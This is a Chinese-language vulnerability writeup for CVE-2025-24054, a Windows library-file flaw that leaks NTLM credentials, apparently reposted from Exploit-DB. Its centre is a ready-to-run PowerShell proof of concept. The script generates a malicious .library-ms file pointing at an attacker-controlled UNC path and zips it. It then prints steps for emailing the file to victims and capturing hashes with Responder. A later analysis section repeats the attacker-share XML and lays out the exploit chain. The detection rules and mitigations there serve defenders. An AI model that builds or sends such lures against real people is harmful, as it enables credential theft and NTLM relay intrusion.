[remote] Windows 10.0.17763.7009 - spoofing vulnerability

CVE-2025-24054

Windows 10.0.17763.7009 存在远程欺骗漏洞,攻击者可通过特制请求模拟受信任实体。

High · CVSS 8.1

📋 漏洞基础信息

CVECVE-2025-24054
漏洞类型欺骗漏洞
受影响版本Windows 10.0.17763.7009
危害等级High · CVSS 8.1
发布日期2026-02-11
提交者Beatriz Fresno Naumova
来源Exploit-DB 原文 ↗

🔬 漏洞根因

漏洞存在于 Windows 的凭证管理或身份验证组件中,未对远程实体身份进行充分验证,允许攻击者通过伪造凭证或身份信息绕过信任机制。

🎯 攻击场景

1. 攻击者构造特制的网络请求或协议交互;2. 向目标系统发送包含伪造身份信息的请求;3. 目标系统错误地将攻击者识别为受信任实体,执行相应操作。

💥 漏洞影响

远程欺骗:攻击者可伪装成合法用户或服务,导致身份冒用、会话劫持、数据泄露。

⚔️ PoC / Exploit 脚本

以下为针对该漏洞的独立利用脚本(Powershell),可在具备相应环境的机器上直接运行:

<# 
.CVE-2025-24054 Windows 库文件欺骗漏洞 PoC
.作者: Beatriz Fresno Naumova (PoC 适配)
.描述: 此脚本生成恶意的 .library-ms 文件,并将其打包成 ZIP。
        当用户打开此 ZIP 中的库文件时,Windows 会尝试连接攻击者控制的
        UNC 路径,从而触发 NTLM 身份验证。
.用法:
    # 生成默认文件 (输出到当前目录下的 exploit.zip)
    .\CVE-2025-24054.ps1 -Target "192.168.1.100"

    # 指定文件名和输出目录
    .\CVE-2025-24054.ps1 -Target "\\attacker\share" -FileName "MyLibrary" -OutputZip "payload.zip" -OutputDir "C:\temp" -Force
#>

[CmdletBinding()]
param(
    [Parameter(Mandatory=$true, HelpMessage="目标 IP、主机名或 UNC 路径 (如: 192.168.1.100 或 \\\\server\\share)")]
    [string]$Target,

    [Parameter(Mandatory=$false, HelpMessage="生成的库文件名 (不含扩展名)")]
    [string]$FileName = "exploit",

    [Parameter(Mandatory=$false, HelpMessage="输出的 ZIP 文件名")]
    [string]$OutputZip = "exploit.zip",

    [Parameter(Mandatory=$false, HelpMessage="输出目录 (默认当前目录)")]
    [string]$OutputDir = ".",

    [Parameter(Mandatory=$false, HelpMessage="是否覆盖已存在的输出文件")]
    [switch]$Force
)

# ---------- 辅助函数 ----------
function Test-ValidTarget {
    param([string]$Value)
    # 检查是否为 UNC 路径 (\\server\share 或 //server/share)
    if ($Value -match "^[\\/]{2}[^\\/]+[\\/][^\\/]") {
        return $true
    }
    # 检查是否为 IPv4 地址
    try {
        [System.Net.IPAddress]::Parse($Value) | Out-Null
        return $true
    } catch {}
    # 简单主机名检查
    if ($Value -match "^[a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?(\.[a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?)*$") {
        return $true
    }
    return $false
}

function New-MaliciousLibraryXml {
    param([string]$Target)

    # 构造 UNC 路径: 如果用户只输入了主机/IP,则附加默认共享名 "shared"
    # 这是为了触发 Windows 自动连接到远程 SMB 共享
    if ($Target -match "^[\\/]{2}") {
        $uncPath = $Target -replace "/", "\"
    } else {
        $uncPath = "\\$Target\shared"
    }

    # 库文件的核心 XML 结构
    # 关键点: <url> 元素指向攻击者控制的 UNC 路径
    # 当 Windows 资源管理器打开此库时,会尝试解析该路径,触发 NTLM 认证
    return @"
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
  <searchConnectorDescriptionList>
    <searchConnectorDescription>
      <simpleLocation>
        <url>$uncPath</url>
      </simpleLocation>
    </searchConnectorDescription>
  </searchConnectorDescriptionList>
</libraryDescription>
"@
}

# ---------- 主逻辑 ----------
Write-Host "[*] 验证目标参数..." -ForegroundColor Cyan
if (-not (Test-ValidTarget -Value $Target)) {
    Write-Error "无效的目标格式。请输入有效的 IP 地址、主机名或 UNC 路径 (如: 192.168.1.100 或 \\\server\share)"
    exit 1
}

# 清理文件名
$FileName = $FileName -replace '[^\w\.\-]', '_'
if ([string]::IsNullOrEmpty($FileName)) {
    $FileName = "exploit"
}

# 构造输出路径
$libFileName = "$FileName.library-ms"
$fullOutputPath = Join-Path -Path $OutputDir -ChildPath $OutputZip

# 检查文件是否已存在
if (Test-Path -Path $fullOutputPath -PathType Leaf) {
    if (-not $Force) {
        Write-Error "文件 '$fullOutputPath' 已存在。使用 -Force 参数覆盖。"
        exit 1
    } else {
        Write-Warning "文件已存在,将覆盖。"
    }
}

Write-Host "[*] 生成恶意库文件 XML..." -ForegroundColor Cyan
$xmlContent = New-MaliciousLibraryXml -Target $Target
Write-Debug "生成的 XML 内容: `n$xmlContent"

Write-Host "[*] 创建临时目录并写入 .library-ms 文件..." -ForegroundColor Cyan
$tempDir = Join-Path -Path $env:TEMP -ChildPath ([System.IO.Path]::GetRandomFileName())
$tempLibFile = Join-Path -Path $tempDir -ChildPath $libFileName

try {
    New-Item -ItemType Directory -Path $tempDir -Force | Out-Null
    Set-Content -Path $tempLibFile -Value $xmlContent -Encoding UTF8

    Write-Host "[*] 打包成 ZIP 文件..." -ForegroundColor Cyan
    # 确保输出目录存在
    $outputDirFull = Resolve-Path $OutputDir -ErrorAction SilentlyContinue
    if (-not $outputDirFull) {
        New-Item -ItemType Directory -Path $OutputDir -Force | Out-Null
        $outputDirFull = Resolve-Path $OutputDir
    }

    # 创建 ZIP 文件
    $zipPath = Join-Path -Path $outputDirFull -ChildPath $OutputZip
    Compress-Archive -Path $tempLibFile -DestinationPath $zipPath -Force

    Write-Host "[+] 成功生成恶意文件!" -ForegroundColor Green
    Write-Host "    输出路径: $zipPath" -ForegroundColor Green
    Write-Host "    文件大小: $((Get-Item $zipPath).Length) bytes" -ForegroundColor Green

    # 显示使用建议
    Write-Host "`n[!] 利用说明:" -ForegroundColor Yellow
    Write-Host "    1. 将 $OutputZip 发送给目标用户(通过邮件、下载等)" -ForegroundColor Yellow
    Write-Host "    2. 用户解压并双击 $libFileName 文件" -ForegroundColor Yellow
    Write-Host "    3. Windows 将尝试访问 UNC 路径 '$Target' 并触发 NTLM 认证" -ForegroundColor Yellow
    Write-Host "    4. 攻击者需在 $Target 上配置 Responder 或 NTLM 中继工具来捕获哈希" -ForegroundColor Yellow

} catch {
    Write-Error "生成过程中发生错误: $_"
} finally {
    # 清理临时文件
    if (Test-Path -Path $tempDir) {
        Remove-Item -Path $tempDir -Recurse -Force -ErrorAction SilentlyContinue
    }
}

Write-Host "`n[*] 完成。" -ForegroundColor Cyan

🔬 深度技术分析

漏洞触发机制

CVE-2025-24054 是一个 Windows 库文件(.library-ms)欺骗漏洞,从代码/协议层面分析:

1. 库文件格式:Windows 库文件是基于 XML 的特殊文件,用于在文件资源管理器中聚合来自不同位置的内容。其核心在于 <url> 元素,该元素指定库应该搜索的路径。

2. UNC 路径处理:当 <url> 中包含 UNC 路径(如 \\attacker\share)时,Windows 资源管理器会尝试连接该 SMB 共享。这个过程包括:

- 自动发起 SMB 连接请求

- 自动触发 NTLM 身份验证握手

- 受害者的 Windows 凭据(NTLM 哈希)被发送到攻击者控制的服务器

3. 根本原因:Windows 没有对库文件中指向网络资源的 URL 进行充分的安全检查或用户提示。资源管理器会透明地尝试连接远程共享,而不向用户显示警告,导致凭据泄露。

利用链分析

攻击者可以通过以下步骤利用此漏洞:

1. 攻击准备

- 攻击者搭建一个恶意的 SMB 服务器(如使用 Impacket 的 smbserver.py 或 Responder)

- 准备恶意的 .library-ms 文件,指向攻击者的 IP 地址

2. 矢量传播

- 将恶意的 .library-ms 文件通过邮件附件、下载链接或社交工程方式发送给受害者

- 文件通常被包装在 ZIP 压缩包中,以便通过邮件网关

3. 触发执行

- 受害者解压并双击 .library-ms 文件

- Windows 资源管理器打开该库文件

- 系统自动尝试解析 UNC 路径,向攻击者的 SMB 服务器发起连接

4. 凭据捕获

- NTLM 认证握手开始,受害者发送 NTLMSSP_NEGOTIATE 消息

- 攻击者回复 NTLMSSP_CHALLENGE(包含随机数)

- 受害者计算 NetNTLMv1/v2 哈希并返回

- 攻击者捕获这些哈希,可用于离线破解或 NTLM 中继攻击

关键代码/数据结构

1. 核心 XML 结构

<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
  <searchConnectorDescriptionList>
    <searchConnectorDescription>
      <simpleLocation>
        <url>\\attacker\share</url>
      </simpleLocation>
    </searchConnectorDescription>
  </searchConnectorDescriptionList>
</libraryDescription>

2. Windows API

- SHLoadLibraryFromParsingName - 加载库文件

- IShellLibrary::LoadLibraryFromFile - 从文件加载库

- ResolveLibrary - 解析库中的 URL

3. NTLM 协议字段(捕获的关键信息):

- NTLMSSP_NEGOTIATE: 客户端支持的选项

- NTLMSSP_CHALLENGE: 服务器发送的 8 字节随机数

- NTLMSSP_AUTH: 包含 LM_ResponseNTLM_Response(哈希)

4. 网络流量特征

- SMB 协议端口 445(或 139)

- NTLMSSP 消息类型标识

- 目标主机的 NetBIOS 名称和域名

检测与防御

蓝队检测方法

1. 日志检测

- Windows 安全事件 ID 4648(使用显式凭据尝试登录)

- Windows 安全事件 ID 4776(凭据验证)

- SMB 客户端连接日志(Event ID 8000-8800)

2. 流量特征

- 出站连接至非预期的 SMB 端口(445/TCP)

- NTLMSSP 握手消息的异常频率

- 对未知或可疑 IP 的 SMB 连接尝试

3. 文件检测

- 监控 .library-ms 文件的创建和打开

- 检查库文件中 <url> 元素是否指向外部 UNC 路径

- EDR 规则:检测 libraryDescription XML 结构中的可疑 URL

防御措施

1. Microsoft 缓解措施

- 安装安全更新 KB5039212 或更高版本

- 启用 Microsoft 网络客户端:对通信进行数字签名(始终)

- 在组策略中禁用 NTLM 身份验证(如果可行)

2. 网络层防御

- 在边界防火墙上阻止出站 SMB 流量(端口 445/139)

- 实施网络分段,限制内部 SMB 访问

- 使用 VPN 隔离网络流量

3. 用户培训

- 教育用户不要打开来自不可信来源的 .library-ms 文件

- 提醒不要解压来自陌生发件人的 ZIP 附件

4. 监控规则示例(Splunk / Sigma):

title: Windows Library File UNC Path Execution
description: Detects when a .library-ms file is opened that contains a UNC path
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 11
    TargetFilename|endswith: '.library-ms'
  condition: selection

🛡️ 修复建议

安装 Microsoft 官方发布的 CVE-2025-24054 安全更新;临时缓解措施包括启用网络流量完整性检查、限制不必要的外部身份验证协议。

📎 参考链接


⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-07 06:43 | 来源: Exploit-DB

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈,请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)